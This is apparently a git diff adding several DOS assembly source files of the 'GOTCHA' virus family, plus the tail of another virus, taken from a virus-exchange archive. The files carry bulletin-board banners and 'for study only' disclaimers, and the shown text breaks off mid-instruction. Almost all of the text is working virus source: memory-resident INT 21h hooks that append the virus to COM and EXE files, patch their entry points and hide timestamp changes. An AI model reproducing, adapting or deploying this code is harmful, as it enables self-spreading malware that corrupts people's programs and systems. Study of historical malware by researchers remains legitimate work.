-22,3,-44,0,0,-49,22,-3,-44,40,-6,-29 + DW 48,-9,-7,46,-12,14,33,-15,33,14,-18,44 + DW -7,-21,44,-25,-24,35,-37,-26,19,-40,-29,0 + DW -34,-31,-17,-21,-34,-29,-5,-36,-33,9,-38,-30 + DW 20,-40,-20,25,-42,-8,23,-43,3,17,-45,12 + DW 8,-46,16,0,-47,15,-5,-48,11,-7,-49,5 + DW -6,-49,0,-2,-49,0,0,-49,0,0,-49,2 + DW 0,-49,6,-5,-49,7,-11,-48,5,-15,-47,0 + DW -16,-46,-8,-12,-45,-17,-3,-43,-23,8,-42,-25 + DW 20,-40,-20,30,-38,-9,33,-36,5,29,-34,21 + DW 17,-31,34,0,-29,40,-19,-26,37,-35,-24,25 + DW -44,-21,7,-44,-18,-14,-33,-15,-33,-14,-12,-46 + DW 7,-9,-48,29,-6,-40,44,-3,-22,49,0,0 +patt: DB 0, 0, 0, 0, 0, 1, 1, 2, 4, 5, 7, 9,11,14,17,20,23,27 + db 31,35,40,45,50,56,61,67,73,80,86,93 + + + +mess db 'HARD HIT & HEAVY HATE the HUMANS !!' + db ' [ H.H.& H.H. the H. ] ' +drt dw 5 dup (0) +memory: + CODE ENDS + + END START + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/g/GOTCHA-E.ASM b/g/GOTCHA-E.ASM new file mode 100755 index 0000000..f244dfb --- /dev/null +++ b/g/GOTCHA-E.ASM @@ -0,0 +1,397 @@ +;**************************************************************************** +;* stripped COM-versie +;* met signature's +;* +;**************************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:nothing + + org 100h + +SIGNLEN equ signend - signature +FILELEN equ eind - begin +RESPAR equ (FILELEN/16) + 17 +BUFLEN equ 08h +VERSION equ 4 + + .RADIX 16 + + +;**************************************************************************** +;* Opstart programma +;**************************************************************************** + +begin: xor bx,bx + mov cl,07h +crloop: call crypt + loop crloop + call install + int 20 + + +;**************************************************************************** +;* Data +;**************************************************************************** + +buffer db BUFLEN dup (?) +oi21 dw ?,? +oldlen dw ? +handle dw ? +sign db 0 + + +;**************************************************************************** +;* Interupt handler 21 +;**************************************************************************** + +ni21: pushf + + cmp ax,4B00h + jne ni_verder + + push es + push ds + push ax + push bx + push cx + push dx + + call attach + + mov cl,[sign] + call crypt + inc cl + and cl,07h + mov [sign],cl + call crypt + + pop dx + pop cx + pop bx + pop ax + pop ds + pop es + +exit: popf + jmp dword ptr cs:[oi21] ;naar oude int-handler + +ni_verder: cmp ax,0DADAh + jne exit + mov ax,0A500h+VERSION + popf + iret + + +;**************************************************************************** +;* plakt programma aan file (ASCIIZ DS:DX) +;**************************************************************************** + +attach: cld + + mov ax,3D02h ;open de file + int 21 + jc finnish + + push cs + pop ds + mov [handle],ax ;bewaar file-handle + + call eindptr ;bepaal lengte + jc finnish + mov [oldlen],ax + + sub ax,SIGNLEN ;pointer naar eind - SIGNLEN + sbb dx,0 + mov cx,dx + mov dx,ax + mov al,00h + call ptrmov + jc finnish + + mov cx,SIGNLEN ;lees de laatse bytes + mov dx,offset buffer + call flread + jc finnish + +verder3: push cs ;vergelijk signature met buffer + pop es + mov di,offset buffer + mov si,offset signature + mov cx,SIGNLEN + rep cmpsb + or cx,cx + jz finnish + + call beginptr ;lees begin van file + mov cx,BUFLEN + mov dx,offset buffer + call flread + jc finnish + + cmp word ptr [buffer],5A4Dh + jz finnish + + call writeprog ;schrijf programma naar file + jc finnish + + mov ax,[oldlen] ;bereken call-adres + add ax,offset entry + sub ax,0103 + mov byte ptr [buffer],0E9h + mov word ptr [buffer+1],ax + + call beginptr ;pas begin van file aan + mov cx,BUFLEN + mov dx,offset buffer + call flwrite + jc finnish + +finnish: mov bx,[handle] ;sluit de file + mov ah,3Eh + int 21 + + ret + + +;**************************************************************************** +;* Crypt een signature +;**************************************************************************** + +crypt: push cx + mov al,14h + mul cl + add ax,offset virsig + mov si,ax + mov di,ax + push cs + push cs + pop ds + pop es + mov cx,0Ah +cryploop: lodsw + xor ax,0FFFFh + stosw + loop cryploop + pop cx + ret + + +;**************************************************************************** +;* Schrijf programma naar file +;**************************************************************************** + +writeprog: call eindptr + mov cx,FILELEN + mov dx,offset begin + call flwrite + ret + + +;**************************************************************************** +;* Subroutines voor file-pointer +;**************************************************************************** + +beginptr: mov al,00h ;naar begin van de file + xor cx,cx + xor dx,dx + jmp ptrmov + +eindptr: mov al,02h ;naar eind van de file + xor cx,cx + xor dx,dx +; jmp ptrmov + +ptrmov: mov ah,42h + mov bx,[handle] + int 21 + ret + + +;**************************************************************************** +;* Subroutines voor lezen/schrijven +;**************************************************************************** + +flwrite: push cs + pop ds + mov ah,40h + mov bx,[handle] + int 21 + ret + + +flread: push cs + pop ds + mov ah,3Fh + mov bx,[handle] + int 21 + ret + + +;**************************************************************************** +;* Activering vanuit file +;**************************************************************************** + +entry: call entry2 +entry2: pop bx + sub bx,offset entry2 ;CS:BX is begin programma - 100 + + cld + + mov ax,bx ;copieer oude begin terug + add ax,offset buffer + mov si,ax + mov di,0100 + mov cx,BUFLEN + rep movsb + + mov ax,0100h + push ax + +entcall: mov ax,0DADAh ;kijk of al geinstalleerd + int 21h + cmp ah,0A5h + je entstop + + call install ;installeer het programma + +entstop: ret + + +;**************************************************************************** +;* Installatie in het geheugen +;**************************************************************************** + +install: push ds + push es + + xor ax,ax ;haal oude vector + mov es,ax + mov cx,word ptr es:0084h + mov dx,word ptr es:0086h + mov [bx+offset oi21],cx + mov [bx+offset oi21+2],dx + + mov ax,ds ;pas geheugen-grootte aan + dec ax + mov es,ax + cmp byte ptr es:[0000h],5Ah + jnz cancel + mov ax,es:[0003h] + sub ax,RESPAR + jb cancel + mov es:[0003h],ax + sub es:[0012h], word ptr RESPAR + + mov es,es:[0012h] ;copieer programma naar top + mov ax,bx + add ax,0100 + mov si,ax + mov di,0100h + mov cx,FILELEN + rep movsb + + mov dx,offset ni21 ;zet nieuwe vector + push es + pop ds + mov ax,2521h + int 21h + +cancel: pop es + pop ds + + ret + + +;**************************************************************************** +;* Tekst en Signature +;**************************************************************************** + +virsig: +;SYSLOCK Virus + db 0D1h, 0E9h, 8Ah, 0E1h + db 8Ah, 0C1h, 33h, 06h + db 14h, 00h, 31h, 04h + db 46h, 46h, 0E2h, 0F2h + db 5Eh, 59h, 58h, 0C3h +;Sylvia Virus + db 8Dh, 36h, 03h, 01h + db 33h, 0C9h, 33h, 0C0h + db 0ACh, 3Ch, 1Ah, 74h + db 04h, 90h, 90h, 90h + db 90h, 90h, 90h, 90h +;DATACRIME IIb Virus + db 2Eh, 8Ah, 07h, 32h + db 0C2h, 0D0h, 0CAh, 2Eh + db 88h, 07h, 43h, 0E2h + db 0F3h, 90h, 90h, 90h + db 90h, 90h, 90h, 90h +;Yankee-Go-Home Virus (Enigma) + db 0D8h, 0Eh, 1Fh, 0BEh + db 37h, 08h, 81h, 0EEh + db 03h, 01h, 03h, 0F3h + db 89h, 04h, 0BEh, 39h + db 08h, 81h, 0EEh, 03h +;Slowdown Virus + db 0DEh, 90h, 90h, 81h + db 0C6h, 1Bh, 00h, 0B9h + db 90h, 06h, 2Eh, 80h + db 34h, 90h, 90h, 90h + db 90h, 90h, 90h, 90h +;Scotts Valley Virus + db 5Eh, 8Bh, 0DEh, 90h + db 90h, 81h, 0C6h, 32h + db 00h, 0B9h, 12h, 08h + db 2Eh, 90h, 90h, 90h + db 90h, 90h, 90h, 90h +;Tiny-2A related Virus + db 0A5h, 8Eh, 0C1h, 0A6h + db 74h, 12h, 4Eh, 4Fh + db 0F3h, 0A5h, 8Eh, 0C1h + db 93h, 91h, 91h, 26h + db 87h, 85h, 0E0h, 0FEh +;DATACRIME 1280 Virus + db 8Bh, 36h, 01h, 01h + db 83h, 0EEh, 03h, 8Bh + db 0C6h, 3Dh, 00h, 00h + db 75h, 03h, 0E9h, 02h + db 01h, 90h, 90h, 90h + + +;;July13 Virus +; db 0A0h, 12h, 00h, 34h +; db 90h, 0BEh, 12h, 00h +; db 0B9h, 0B1h, 04h, 2Eh +; db 30h, 04h, 46h, 0E2h +; db 0FAh, 90h, 90h, 90h +;;XA1 Virus (Tannenbaum) +;virsig: db 0FAh, 8Bh, 0ECh, 58h +; db 32h, 0C0h, 89h, 46h +; db 02h, 81h, 46h, 00h +; db 28h, 00h, 90h, 90h +; db 90h, 90h, 90h, 90h +;;Twelve Tricks Trojan Dropper +; db 0BEh, 64h, 02h, 31h +; db 94h, 42h, 01h, 0D1h +; db 0C2h, 4Eh, 79h, 0F7h +; db 90h, 90h, 90h, 90h +; db 90h, 90h, 90h, 90h + + + +signature: db 'GOTCHA!',0 +signend: + +eind: + +cseg ends + end begin + + + + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/g/GOTCHA17.ASM b/g/GOTCHA17.ASM new file mode 100755 index 0000000..57eb845 --- /dev/null +++ b/g/GOTCHA17.ASM @@ -0,0 +1,503 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +;**************************************************************************** +;* Gotcha version 17 +;* +;* Compile with MASM 4.0 +;* (other assemblers will probably not produce the same result) +;* +;* Disclaimer: +;* This file is only for educational purposes. The author takes no +;* responsibility for anything anyone does with this file. Do not +;* modify this file! +;**************************************************************************** + + .RADIX 16 + +cseg segment + assume cs:cseg,ds:cseg,es:nothing + + +VERSION equ 17d +FILELEN equ end - start +RESPAR equ (FILELEN/16d) + 18d +BUFLEN equ 18 +ENVLEN equ signature- envstring +COMSIGN equ 0 +EXESIGN equ 1 + + +;**************************************************************************** +;* Dummy program (infected) +;**************************************************************************** + + org 0100 + +begin: db 0E9, BUFLEN+1, 0 ;jump to virus entry + + +;**************************************************************************** +;* Data +;**************************************************************************** + + org 0103 + +start: +buffer db 0CDh, 20 ;original code + db (BUFLEN-2) dup (?) +comexe db COMSIGN ;dummy program is a COM program + + +;**************************************************************************** +;* Install the virus +;**************************************************************************** + + call start2 +start2: pop si + sub si,(BUFLEN+4) ;si = begin virus + mov di,0100 + cld + + cmp byte ptr cs:[si+BUFLEN],COMSIGN + jz entryC + +entryE: mov ax,ds ;calculate CS + add ax,10 + add ax,cs:[si+16] + push ax ;push new CS on stack + push cs:[si+14] ;push new IP on stack + jmp short entcheck + +entryC: push cs ;push new CS on stack + push di ;push new IP on stack + push di + push si + movsw ;restore old file-begin + movsb + pop si + pop di + +entcheck: mov ax,0DADA ;already installed? + int 21 + cmp ah,0A5 + je entstop + + mov ax,3000 ;test DOS version >= 3.1? + int 21 + xchg ah,al + cmp ax,030A + jb entstop + + push ds + push es + + mov ax,ds ;adjust memory-size + dec ax + mov ds,ax + cmp byte ptr ds:[0000],5A + jnz cancel + mov ax,ds:[0003] + sub ax,low RESPAR + jb cancel + mov ds:[0003],ax + sub word ptr ds:[0012],low RESPAR + + mov es,ds:[0012] ;copy program to top + push cs + pop ds + mov cx,FILELEN + rep movsb + + mov ds,cx ;get original int21 vector + mov si,4*21 + movsw ;move it to the end + movsw + + push es ;set vector to new handler + pop ds + mov dx,offset ni21-3 + mov ax,2521 + int 21 + +cancel: pop es + pop ds + +entstop: db 0CBh ;retf + + +;**************************************************************************** +;* Interupt 24 handler +;**************************************************************************** + +ni24: mov al,3 + iret + + +;**************************************************************************** +;* Interupt 21 handler +;**************************************************************************** + +ni21: pushf + + cmp ax,0DADA ;install-check ? + je do_DADA + + push dx + push cx + push bx + push ax + push si + push di + push ds + push es + + cmp ah,3E ;close ? + jne vvv + mov ah,45 ;duplicate handle + jmp short doit + +vvv: cmp ax,4B00 ;execute ? + jne exit + mov ah,3Dh ;open the file + +doit: int 21 + jc exit + xchg ax,bx + call infect + +exit: pop es + pop ds + pop di + pop si + pop ax + pop bx + pop cx + pop dx + popf + +org21: jmp dword ptr cs:[oi21-3] ;call to old int-handler + + +do_DADA: mov ax,0A500+VERSION ;return a signature + popf + iret + + +;**************************************************************************** +;* Close the file +;**************************************************************************** + +close: mov ah,3E ;close the file + pushf + push cs + call org21 + ret + + +;**************************************************************************** +;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX) +;**************************************************************************** + +infect: cld + + push bx + mov ah,62 ;get segment-adres of PSP + int 21 + mov ds,bx ;get seg-adres of environment + mov es,ds:[002C] + xor di,di + pop bx + push cs + pop ds + +envloop: mov si,offset envstring-3 ;check the environment + mov cx,ENVLEN + repz cmpsb + jz close ;exit if item found + dec di ;goto next item + xor al,al + mov ch,0FF + repnz scasb + cmp byte ptr es:[di],0 ;finnished environment? + jnz envloop + + mov ax,3300 ;get ctrl-break flag + int 21 + push dx + + cwd ;clear the flag + inc ax + push ax + int 21 + + mov dx,bx + mov ax,3524 ;get int24 vector + int 21 + push bx + push es + mov bx,dx + + push cs + pop ds + + mov dx,offset ni24 ;set int24 vector + mov ah,25 + push ax + int 21 + + mov ax,1220 ;get file-table entry + push bx + push ax + int 2F + mov bl,es:[di] + pop ax + sub al,0A + int 2F + pop bx + + push es + pop ds + + push [di+2] ;save attribute & open-mode + push [di+4] + + cmp word ptr [di+28],'XE' ;check extension + jne not_exe + cmp byte ptr [di+2A],'E' + jmp short check + +not_exe: cmp word ptr [di+28],'OC' + jne close1v + cmp byte ptr [di+2A],'M' +check: je check_name +close1v: jmp close1 + +check_name: cmp byte ptr [di+20],'V' ;name is V*.* ? + je close1v + cmp byte ptr [di+20],'F' ;name is F*.* ? + je close1v + + mov cx,7 ;name is *SC*.* ? + mov ax,'CS' + push di + add di,21 +SCloop: dec di + scasw + loopnz SCloop + pop di + je close1v + + mov byte ptr [di+2],2 ;open for read/write + mov byte ptr [di+4],0 ;clear attributes + call getlen + mov cl,3 + sub ax,cx ;goto signature + sbb dx,0 + call goto + push ax ;save old offset + push dx + + push cs + pop ds + + mov si,0100 ;read signature + mov dx,si + mov ah,3F + int 21 + + cmp word ptr [si],'!A' ;already infected? + je close2v + + call gotobegin + + mov cl,BUFLEN ;read begin + mov dx,si + mov ah,3F + int 21 + + cmp word ptr [si],5A4Dh ;EXE ? + jz do_EXE + cmp word ptr [si],4D5A + jz do_EXE + +do_COM: mov byte ptr [si+BUFLEN],COMSIGN + + cmp byte ptr es:[di+12],0FC ;check length + jnb close2 + cmp byte ptr es:[di+12],3 + jbe close2 + + call writeprog ;write program to end of file + jnz close2 + + mov byte ptr [si],0E9h ;JMP xxxx' + call getoldlen + add ax,(BUFLEN-2) + mov word ptr [si+1],ax + + jmp short done +close2v: jmp short close2 + +do_EXE: mov byte ptr [si+BUFLEN],EXESIGN + + call writeprog ;write program to end of file + jnz close2 + + call getlen ;calculate new length + mov cx,0200 ;put new length in header + div cx + inc ax + mov word ptr [si+4],ax + mov word ptr [si+2],dx + + call getoldlen ;calculate new CS & IP + mov cx,0010 + div cx + sub ax,word ptr [si+8] + mov word ptr [si+16],ax ;put CS in header + add dx,BUFLEN+1 + mov word ptr [si+14],dx ;put IP in header + + +done: call gotobegin + mov cx,BUFLEN ;write new begin + mov dx,si + mov ah,40 + int 21 + +close2: push es + pop ds + + pop dx ;restore old offset in file + pop ax + call goto + + or byte ptr [di+6],40 ;no time-change + +close1: call close + + or byte ptr [di+5],40 ;no EOF on next close + pop [di+4] ;restore attribute & open-mode + pop [di+2] + + pop ax ;restore int24 vector + pop ds + pop dx + int 21 + + pop ax ;restore ctrl-break flag + pop dx + int 21 + + ret + + +;**************************************************************************** +;* Get original length of program +;**************************************************************************** + +getoldlen: call getlen + sub ax,FILELEN + sbb dx,0 + ret + + +;**************************************************************************** +;* Get length of program +;**************************************************************************** + +getlen: mov ax,es:[di+11] + mov dx,es:[di+13] + ret + + +;**************************************************************************** +;* Goto new offset DX:AX +;**************************************************************************** + +gotobegin: xor ax,ax + cwd +goto: xchg ax,es:[di+15] + xchg dx,es:[di+17] + ret + + +;**************************************************************************** +;* Write virus to the file +;**************************************************************************** + +writeprog: call getlen + call goto + + mov cx,FILELEN ;write virus + mov dx,si + mov ah,40 + int 21 + cmp cx,ax ;are all bytes written? + ret + + +;**************************************************************************** +;* Text and Signature +;**************************************************************************** + +envstring db 'E=mc',0 + +signature: db 'GOTCHA!',0 ;I have got you! :-) + +oi21: +end: + +cseg ends + end begin + +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; + +;; +;> and Remember Don't Forget to Call <; +;> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <; +;; + diff --git a/g/GOTCHA4.ASM b/g/GOTCHA4.ASM new file mode 100755 index 0000000..f244dfb --- /dev/null +++ b/g/GOTCHA4.ASM @@ -0,0 +1,397 @@ +;**************************************************************************** +;* stripped COM-versie +;* met signature's +;* +;**************************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:nothing + + org 100h + +SIGNLEN equ signend - signature +FILELEN equ eind - begin +RESPAR equ (FILELEN/16) + 17 +BUFLEN equ 08h +VERSION equ 4 + + .RADIX 16 + + +;**************************************************************************** +;* Opstart programma +;**************************************************************************** + +begin: xor bx,bx + mov cl,07h +crloop: call crypt + loop crloop + call install + int 20 + + +;**************************************************************************** +;* Data +;**************************************************************************** + +buffer db BUFLEN dup (?) +oi21 dw ?,? +oldlen dw ? +handle dw ? +sign db 0 + + +;**************************************************************************** +;* Interupt handler 21 +;**************************************************************************** + +ni21: pushf + + cmp ax,4B00h + jne ni_verder + + push es + push ds + push ax + push bx + push cx + push dx + + call attach + + mov cl,[sign] + call crypt + inc cl + and cl,07h + mov [sign],cl + call crypt + + pop dx + pop cx + pop bx + pop ax + pop ds + pop es + +exit: popf + jmp dword ptr cs:[oi21] ;naar oude int-handler + +ni_verder: cmp ax,0DADAh + jne exit + mov ax,0A500h+VERSION + popf + iret + + +;**************************************************************************** +;* plakt programma aan file (ASCIIZ DS:DX) +;**************************************************************************** + +attach: cld + + mov ax,3D02h ;open de file + int 21 + jc finnish + + push cs + pop ds + mov [handle],ax ;bewaar file-handle + + call eindptr ;bepaal lengte + jc finnish + mov [oldlen],ax + + sub ax,SIGNLEN ;pointer naar eind - SIGNLEN + sbb dx,0 + mov cx,dx + mov dx,ax + mov al,00h + call ptrmov + jc finnish + + mov cx,SIGNLEN ;lees de laatse bytes + mov dx,offset buffer + call flread + jc finnish + +verder3: push cs ;vergelijk signature met buffer + pop es + mov di,offset buffer + mov si,offset signature + mov cx,SIGNLEN + rep cmpsb + or cx,cx + jz finnish + + call beginptr ;lees begin van file + mov cx,BUFLEN + mov dx,offset buffer + call flread + jc finnish + + cmp word ptr [buffer],5A4Dh + jz finnish + + call writeprog ;schrijf programma naar file + jc finnish + + mov ax,[oldlen] ;bereken call-adres + add ax,offset entry + sub ax,0103 + mov byte ptr [buffer],0E9h + mov word ptr [buffer+1],ax + + call beginptr ;pas begin van file aan + mov cx,BUFLEN + mov dx,offset buffer + call flwrite + jc finnish + +finnish: mov bx,[handle] ;sluit de file + mov ah,3Eh + int 21 + + ret + + +;**************************************************************************** +;* Crypt een signature +;**************************************************************************** + +crypt: push cx + mov al,14h + mul cl + add ax,offset virsig + mov si,ax + mov di,ax + push cs + push cs + pop ds + pop es + mov cx,0Ah +cryploop: lodsw + xor ax,0FFFFh + stosw + loop cryploop + pop cx + ret + + +;**************************************************************************** +;* Schrijf programma naar file +;**************************************************************************** + +writeprog: call eindptr + mov cx,FILELEN + mov dx,offset begin + call flwrite + ret + + +;**************************************************************************** +;* Subroutines voor file-pointer +;**************************************************************************** + +beginptr: mov al,00h ;naar begin van de file + xor cx,cx + xor dx,dx + jmp ptrmov + +eindptr: mov al,02h ;naar eind van de file + xor cx,cx + xor dx,dx +; jmp ptrmov + +ptrmov: mov ah,42h + mov bx,[handle] + int 21 + ret + + +;**************************************************************************** +;* Subroutines voor lezen/schrijven +;**************************************************************************** + +flwrite: push cs + pop ds + mov ah,40h + mov bx,[handle] + int 21 + ret + + +flread: push cs + pop ds + mov ah,3Fh + mov bx,[handle] + int 21 + ret + + +;**************************************************************************** +;* Activering vanuit file +;**************************************************************************** + +entry: call entry2 +entry2: pop bx + sub bx,offset entry2 ;CS:BX is begin programma - 100 + + cld + + mov ax,bx ;copieer oude begin terug + add ax,offset buffer + mov si,ax + mov di,0100 + mov cx,BUFLEN + rep movsb + + mov ax,0100h + push ax + +entcall: mov ax,0DADAh ;kijk of al geinstalleerd + int 21h + cmp ah,0A5h + je entstop + + call install ;installeer het programma + +entstop: ret + + +;**************************************************************************** +;* Installatie in het geheugen +;**************************************************************************** + +install: push ds + push es + + xor ax,ax ;haal oude vector + mov es,ax + mov cx,word ptr es:0084h + mov dx,word ptr es:0086h + mov [bx+offset oi21],cx + mov [bx+offset oi21+2],dx + + mov ax,ds ;pas geheugen-grootte aan + dec ax + mov es,ax + cmp byte ptr es:[0000h],5Ah + jnz cancel + mov ax,es:[0003h] + sub ax,RESPAR + jb cancel + mov es:[0003h],ax + sub es:[0012h], word ptr RESPAR + + mov es,es:[0012h] ;copieer programma naar top + mov ax,bx + add ax,0100 + mov si,ax + mov di,0100h + mov cx,FILELEN + rep movsb + + mov dx,offset ni21 ;zet nieuwe vector + push es + pop ds + mov ax,2521h + int 21h + +cancel: pop es + pop ds + + ret + + +;**************************************************************************** +;* Tekst en Signature +;**************************************************************************** + +virsig: +;SYSLOCK Virus + db 0D1h, 0E9h, 8Ah, 0E1h + db 8Ah, 0C1h, 33h, 06h + db 14h, 00h, 31h, 04h + db 46h, 46h, 0E2h, 0F2h + db 5Eh, 59h, 58h, 0C3h +;Sylvia Virus + db 8Dh, 36h, 03h, 01h + db 33h, 0C9h, 33h, 0C0h + db 0ACh, 3Ch, 1Ah, 74h + db 04h, 90h, 90h, 90h + db 90h, 90h, 90h, 90h +;DATACRIME IIb Virus + db 2Eh, 8Ah, 07h, 32h + db 0C2h, 0D0h, 0CAh, 2Eh + db 88h, 07h, 43h, 0E2h + db 0F3h, 90h, 90h, 90h + db 90h, 90h, 90h, 90h +;Yankee-Go-Home Virus (Enigma) + db 0D8h, 0Eh, 1Fh, 0BEh + db 37h, 08h, 81h, 0EEh + db 03h, 01h, 03h, 0F3h + db 89h, 04h, 0BEh, 39h + db 08h, 81h, 0EEh, 03h +;Slowdown Virus + db 0DEh, 90h, 90h, 81h + db 0C6h, 1Bh, 00h, 0B9h + db 90h, 06h, 2Eh, 80h + db 34h, 90h, 90h, 90h + db 90h, 90h, 90h, 90h +;Scotts Valley Virus + db 5Eh, 8Bh, 0DEh, 90h + db 90h, 81h, 0C6h, 32h + db 00h, 0B9h, 12h, 08h + db 2Eh, 90h, 90h, 90h + db 90h, 90h, 90h, 90h +;Tiny-2A related Virus + db 0A5h, 8Eh, 0C1h, 0A6h + db 74h, 12h, 4Eh, 4Fh + db 0F3h, 0A5h, 8Eh, 0C1h + db 93h, 91h, 91h, 26h + db 87h, 85h, 0E0h, 0FEh +;DATACRIME 1280 Virus + db 8Bh, 36h, 01h, 01h + db 83h, 0EEh, 03h, 8Bh + db 0C6h, 3Dh, 00h, 00h + db 75h, 03h, 0E9h, 02h + db 01h, 90h, 90h, 90h + + +;;July13 Virus +; db 0A0h, 12h, 00h, 34h +; db 90h, 0BEh, 12h, 00h +; db 0B9h, 0B1h, 04h, 2Eh +; db 30h, 04h, 46h, 0E2h +; db 0FAh, 90h, 90h, 90h +;;XA1 Virus (Tannenbaum) +;virsig: db 0FAh, 8Bh, 0ECh, 58h +; db 32h, 0C0h, 89h, 46h +; db 02h, 81h, 46h, 00h +; db 28h, 00h, 90h, 90h +; db 90h, 90h, 90h, 90h +;;Twelve Tricks Trojan Dropper +; db 0BEh, 64h, 02h, 31h +; db 94h, 42h, 01h, 0D1h +; db 0C2h, 4Eh, 79h, 0F7h +; db 90h, 90h, 90h, 90h +; db 90h, 90h, 90h, 90h + + + +signature: db 'GOTCHA!',0 +signend: + +eind: + +cseg ends + end begin + + + + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/g/GOTCHA9.ASM b/g/GOTCHA9.ASM new file mode 100755 index 0000000..a664fc5 --- /dev/null +++ b/g/GOTCHA9.ASM @@ -0,0 +1,576 @@ +;**************************************************************************** +;* GOTCHA! Version 9e +;**************************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:nothing + + org 100h + +SIGNLEN equ signend - signature +FILELEN equ end - begin +RESPAR equ (FILELEN/16) + 17 +VERSION equ 9 +BUFLEN equ 20h +COMSIGN equ 0 +EXESIGN equ 1 +MINTARGET equ 1000 +MAXTARGET equ -FILELEN + + .RADIX 16 + + +;**************************************************************************** +;* Start the program! +;**************************************************************************** + +begin: xor bx,bx + call install + int 20 + + +;**************************************************************************** +;* Data +;**************************************************************************** + +buffer db BUFLEN dup (?) +oi21 dw ?,? +oldlen dw ?,? +nameptr dw ?,? +handle dw ? +comexe db ? + + +;**************************************************************************** +;* File-extensions +;**************************************************************************** + +EXE_txt db 'EXE' +COM_txt db 'COM' + + +;**************************************************************************** +;* Interupt handler 24 +;**************************************************************************** + +ni24: mov al,03 + iret + + +;**************************************************************************** +;* Interupt handler 21 +;**************************************************************************** + +ni21: pushf + + cmp ax,0DADAh ;install-check ? + je do_DADA + + push dx + push cx + push bx + push ax + push si + push di + push ds + push es + + cmp ax,6C00h ;open/create 4.00 ? + je do_6C00 + cmp ah,56h ;rename ? + je doit + cmp ah,4Eh ;findfirst ? + je doit ;(only works without wildcards) + cmp ah,4Bh ;load / execute ? + je doit + cmp ah,43h ;attributes + je doit + cmp ah,41h ;delete ? + je doit ;(it might be un-deleted!) + cmp ah,3Dh ;open ? + je do_3D + + cmp ah,17h ;FCB-rename? + je doFCB + cmp ah,13h ;FCB-delete? + jne exit + +doFCB: call FCBtoASC ;COMMAND.COM still uses FCB's! + +doit: call infect + +exit: pop es + pop ds + pop di + pop si + pop ax + pop bx + pop cx + pop dx + popf + + jmp dword ptr cs:[oi21] ;call to old int-handler + + +do_3D: test al,03h ;only if opened for READING + jne exit + jmp short doit + +do_6C00: test bl,03h ;idem + jne exit + mov dx,di ;ptr was DS:DI + jmp short doit + +do_DADA: mov ax,0A500h+VERSION ;return a signature + popf + iret + + +;**************************************************************************** +;* Old Interupt handler 21 +;**************************************************************************** + +org21: pushf + call dword ptr cs:[oi21] ;call to old int-handler + ret + + +;**************************************************************************** +;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX) +;**************************************************************************** + +infect: cld + + mov cs:[nameptr],dx ;save the ptr to the filename + mov cs:[nameptr+2],ds + + mov ah,62h ;get segment-adres of PSP + int 21 + mov ds,bx ;get seg-adres of environment + mov ax,ds:002Ch + mov ds,ax + mov si,0 + +envloop: cmp ds:[si],byte ptr 0 ;end of environment? + je verder7 + + push cs + pop es + mov di,offset envstring + mov bx,0 + +scloop: mov al,ds:[si] ;check the current env-item + cmpsb + je scv1 + inc bx ;characters don't match! +scv1: cmp al,0 ;end of env-item? + jne scloop + + cmp bx,0 ;did all characters match? + je return + jmp short envloop + +verder7: push cs ;check the filename + pop ds + les di,dword ptr [nameptr] + mov dx,di + mov cx,80 ;search end of filename (-EXT) + mov al,'.' + repnz scasb + mov bx,di + + std ;find begin of filename + mov cl,11 + mov al,'\' + repnz scasb + cld + je vvv + mov di,dx + jmp short vvv2 +vvv: add di,2 +vvv2: mov al,'V' ;is it V*.* ? + scasb + je return + + mov cl,7 ;is it *AN*.* ? + mov ax,'NA' +ANloop: dec di + scasw + loopnz ANloop + je return + + mov si,offset EXE_txt ;is extension 'EXE'? + mov di,bx + mov cx,3 + rep cmpsb + jnz verder4 + + mov byte ptr [comexe],EXESIGN + jmp short verder3 + +return: ret + +verder4: mov si,offset COM_txt ;is extension 'COM'? + mov di,bx + mov cx,3 + rep cmpsb + jnz return + + mov byte ptr [comexe],COMSIGN + +verder3: mov ax,3300h ;get ctrl-break flag + int 21 + push dx + + xor dl,dl ;clear the flag + mov ax,3301h + int 21 + + mov ax,3524h ;get int24 vector + int 21 + push bx + push es + + push cs ;set int24 vec to new handler + pop ds + mov dx,offset ni24 + mov ax,2524h + int 21 + + lds dx,dword ptr [nameptr] ;get file-attribute + mov 